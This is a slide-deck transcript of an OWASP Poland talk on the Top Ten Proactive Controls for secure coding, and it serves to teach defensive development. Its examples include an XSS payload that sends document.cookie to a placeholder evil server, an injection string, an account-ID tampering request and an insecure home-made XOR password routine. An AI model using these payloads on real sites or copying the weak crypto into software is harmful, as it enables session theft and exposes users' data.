Ten Commandments of Secure Coding - OWASP Top Ten Proactive Controls
Download as PPTX, PDF8 likes1,648 views
The document outlines the OWASP Top Ten Proactive Controls for secure coding, emphasizing the importance of practices like parameterized queries, data encoding, input validation, and implementing access control. It highlights a lack of security education in many companies and stresses that each application has its own unique risk profile. The document aims to provide essential guidelines for developers to enhance software security through proper design and coding practices.
![Example (at rest)
• Storing password
• „Own” SHA1 function
public static String encrypt(byte [] in)
{
String out = "";
for(int i = 0; i < in.length; i++)
{
byte b = (byte)(in[i] ^ key[i%key.length]);
out += "" + hexDigit[(b & 0xf0)>>4] + hexDigit[b & 0x0f];
} return out;
}](https://image.slidesharecdn.com/tencommandmentsofsecurecoding-150609095343-lva1-app6891/85/Ten-Commandments-of-Secure-Coding-OWASP-Top-Ten-Proactive-Controls-37-320.jpg)
Ten Commandments of Secure Coding - OWASP Top Ten Proactive Controls
- 1. Ten Commandments of Secure Coding OWASP Top Ten Proactive Controls Mateusz Olejarka OWASP Poland
- 2. Mateusz Olejarka @molejarka • Senior IT Security Consultant @SecuRing • Ex-developer • OWASP Poland since 2011
- 3. OWASP O = Open • Docs & tools – free – Creative Commons license – open source • Build with open collaboration in mind – Each one of you can join 3
- 4. OWASP Poland Chapter • Since 2007 • Meetings: Kraków, Poznań, Warszawa • Free entry • Supporters:
- 5. 4Developers 2014* questionnaire * SecuRing’s study „Praktyki wytwarzania bezpiecznego oprogramowania w polskich firmach – 2014” • 62% companies do not educate programmers on application security • >50% companies do not consider security during the design stage • 73% participants confirmed, that they fixed security related issues • only 42% confirmed, that they do security testing before production deployment
- 6. OWASP Top10 Risk vs OWASP Top10 Proactive Controls
- 7. Disclaimer • Do not rely your application security on Top 10 * – It is purely educational material – Each application has its own risk profile
- 8. Thou shalt parametrize queries 1: Parametrize queries
- 9. SQL/LDAP/XML/cmd/…-injection Easily exploitable • Simple to use tools exist Devastating impact Źródło: http://xkcd.com/327/
- 10. Best practices #1 Prepared Statements / Parametrized Queries #2 Stored Procedures – Watch for exeptions! (eval,dynamic block, etc.) #3 Escaping – risky! String newName = request.getParameter("newName"); String id = request.getParameter("id"); PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?"); pstmt.setString(1, newName); pstmt.setString(2, id);
- 11. References • Bobby Tables: A guide to preventing SQL injection • Query Parameterization Cheat Sheet • SQL Injection Prevention Cheat Sheet • OWASP Secure Coding Practices Quick Reference Guide
- 12. 2: Thou shalt encode data 2: Encode Data
- 13. XSS • Site defacement • Session hijacking <script>document.body.innerHTML(“Jim was here”);</script> <script> var img = new Image(); img.src="http://<some evil server>.com?” + document.cookie; </script>
- 14. Results of missing encoding • Session hijacking • Network scanning • CSRF prevention bypass • Site defacement (browser) • … • Browser hijack – vide BeEF
- 16. Cross Site Scripting But when we write output inside pure JavaScript: <script> var split='<bean:write name="transferFormId" property="trn_recipient">'; splitRecipient(split); </script> trn_recipient=';alert('xss');-- <script> var split='';alert('xss');--
- 17. Best practices • Special character encoding has to be context aware – HTML element – HTML attribute – JavaScript – JSON – CSS / style – URL
- 18. References • XSS (Cross Site Scripting) Prevention Cheat Sheet • Java Encoder Project • Microsoft .NET AntiXSS Library • OWASP ESAPI • Encoder Comparison Reference Project
- 19. Thou shalt validate all inputs 3: Validate All Inputs
- 20. Why validate anything? • Most of other vulnerabilities (np. injections, xss, …) occurs (also) from missing input validation • Validation it is like firewall – Do not protects you agains everything – …but nice to have
- 21. Best practices • Prefer whitelist over blacklist approach, • Use strongly typed fields – One validator per one data type – Easier to integrate a WAF • Validation = first line of defence – For exaple type casting prevents injection – But not the only one!
- 22. References • Input Validation Cheat Sheet • Apache Commons Validator • OWASP JSON Sanitizer Project • OWASP Java HTML Sanitizer Project • Google Caja
- 23. Thou shalt implement appropriate access controls 4: Implement Appropriate Access Controls
- 24. Account history
- 25. HTTP request GET /services/history/account/85101022350445200448009906 HTTP/1.1 SA-DeviceId: 940109f08ba56a89 SA-SessionId: 826175 Accept: application/json Host: acc Connection: Keep-Alive User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) GET /services/history/account/45101022350445200448005388 HTTP/1.1 SA-DeviceId: 940109f08ba56a89 SA-SessionId: 826175 Accept: application/json Host: acc Connection: Keep-Alive User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) Account id change – we get other user data
- 26. Best practices • Server makes a final call! • Default deny • All request must go through access controll – centralized, easy to use mechanism • Access control rules (policy) should be separated from code – Not a part of it
- 27. if (currentUser.hasRole(“administrator”)) { //pozwol } else { //zabron } If (currentUser.isPermitted(printPermission)) { //pozwol } else { //zabron }
- 28. References • Access Control Cheat Sheet • Java Authorization Guide with Apache Shiro – Apache Shiro Authorization features • OWASP PHPRBAC Project
- 29. Thou shalt establish identity and authentication controls 5: Establish Identity and Authentication Controls
- 30. Example vulnerability • Authentication with locally stored key (on the machine) • Process: 1. Enter login 2. Select key file,enter key password 3. We are logged in https://...../GenerateNewKey
- 31. Best practices • Check access control for the functions allowing to change authentication credentials • „chain of trust” rule • Watch for session at the border! • Do not limit length and characters to use in password
- 32. References • Authentication Cheat Sheet • Password Storage Cheat Sheet • Forgot Password Cheat Sheet • Session Management Cheat Sheet
- 33. Thou shalt protect data and privacy 6: Protect Data and Privacy
- 34. Example (at transit) • SSL covers encryption and authentication • What verifies servers identity? – Web applications: Browser – Mobile / thick-client / embedded… application: Application • Common errors – Missing certificate validation – Brak sprawdzenia certyfikatu lub „łańcucha zaufania” – Missing exception handling
- 35. Best practices (in transit) • TLS • For whole application • Cookies: „Secure” flag • HTTP Strict Transport Security • Strong cipher suites • Chain of trust • Certificate pinning
- 36. References (in transit) • Transport Layer Protection Cheat Sheet • Pinning Cheat Sheet • OWASP O-Saft (SSL Audit for Testers)
- 37. Example (at rest) • Storing password • „Own” SHA1 function public static String encrypt(byte [] in) { String out = ""; for(int i = 0; i < in.length; i++) { byte b = (byte)(in[i] ^ key[i%key.length]); out += "" + hexDigit[(b & 0xf0)>>4] + hexDigit[b & 0x0f]; } return out; }
- 38. Best practices(at rest) • Do not reinwent the wheel! – Home-bred ciphers are evil – Own crypto is evil – Only libraries with reputation! • Strong ciphers in strong modes – ECB is evil – CBC – watch for „padding oracle” • Good RNG for IV
- 39. References • Google KeyCzar • Cryptographic Storage Cheat Sheet • Password Storage Cheat Sheet
- 40. Thou shalt implement logging, error handling and intrusion detection 7: Implement Logging, Error Handling and Intrusion Detection
- 41. References • Logging Cheat Sheet • OWASP AppSensor Project
- 42. Thou shalt leverage security features of frameworks and security libraries 8: Leverage Security Features of Frameworks and Security Libraries
- 43. Refenences • PHP Security Cheat Sheet • .NET Security Cheat Sheet • Spring Security • Apache Shiro • OWASP Dependency Check / Track
- 44. Thou shalt include security- specific requirements 9: Include Security-Specific Requirements
- 45. Building requirements • Attack scenatios – How threats can reach the objectives? – Requires experience and expertise • Selection of security controls == REQUIREMENTS Threat Results Attack scenarios Who? How? What?
- 46. References • OWASP Application Security Verification Standard Project • Software Assurance Maturity Model • Business Logic Security Cheat Sheet • Testing for business logic (OWASP-BL-001)
- 47. Thou shalt design and architect security in 10: Design and Architect Security In
- 48. References • Software Assurance Maturity Model (OpenSAMM) • Application Security Verification Standard Project • Application Security Architecture Cheat Sheet • Attack Surface Analysis Cheat Sheet • Threat Modeling Cheat Sheet
- 49. Summary
- 50. That was just the Top Ten! • Each application is different – Risk profile should be defined (WHO? WHY?) – Consider „compliance with existing regulations” • Few easy steps with big positive impact • Developers education is worth it!
- 51. OWASP meetings • https://www.owasp.org/index.php/Poland • Mailing list • Facebook: OWASP Poland Local Chapter • Twitter: @owasppoland